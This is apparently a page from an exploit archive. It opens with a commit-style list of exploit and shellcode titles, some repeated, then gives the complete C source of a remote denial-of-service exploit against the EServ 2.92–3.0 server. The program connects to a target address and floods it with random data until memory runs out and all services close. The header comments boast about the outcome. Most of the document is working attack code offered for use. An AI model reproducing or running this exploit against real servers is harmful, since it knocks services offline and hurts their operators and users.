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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
54 lines
No EOL
1.7 KiB
C
54 lines
No EOL
1.7 KiB
C
// source: https://www.securityfocus.com/bid/7552/info
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A denial of service vulnerability has been reported for EServ. The vulnerability exists due to the way the server handles connections. Specifically, memory allocated for open connections are not properly freed when a connection no longer exists. This will result in a consumption of all available memory resources.
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**It has been reported that EServ version 3.0 previously thought to be invulnerable to this issue is affected by this vulnerability. This version was tested on Windows 2000.
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This vulnerability affects EServ 2.92 to 3.0.
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/* m00-eServ-fun.c
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*
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* EServ/2.95-3.00 remote memory-leak exploit
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*
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* Result: exiting program and close all services
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* if you seen message: Broken pipe
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* then may going drink beer 8)
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*
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* Eserv 3.0 only web(80) services susceptible on this DoS
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*
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* rash / m00.void.ru
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*/
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#include <stdio.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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int main(int argc, char *argv[])
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{
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char buf[2000];
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int fd;
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struct sockaddr_in rsin;
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if (argc!=3) {
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printf("\n usage: %s <ip> <port>\n\n", argv[0]);
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exit(0);
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}
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rsin.sin_family = AF_INET;
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rsin.sin_port = htons(atoi(argv[2]));
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rsin.sin_addr.s_addr = inet_addr(argv[1]);
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for (fd=0;fd<2000;fd++)
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buf[fd]=(int *)((rand()*10));
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fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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if (connect(fd,(struct sockaddr *)&rsin,sizeof(struct sockaddr))) perror("[-] connect()"),exit(0);
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printf("[+] connected..\n");
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printf("[+] send data to host..\n");
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while (1) {
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if ((send(fd, buf, 2000, 0))<0)
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break;
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}
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} |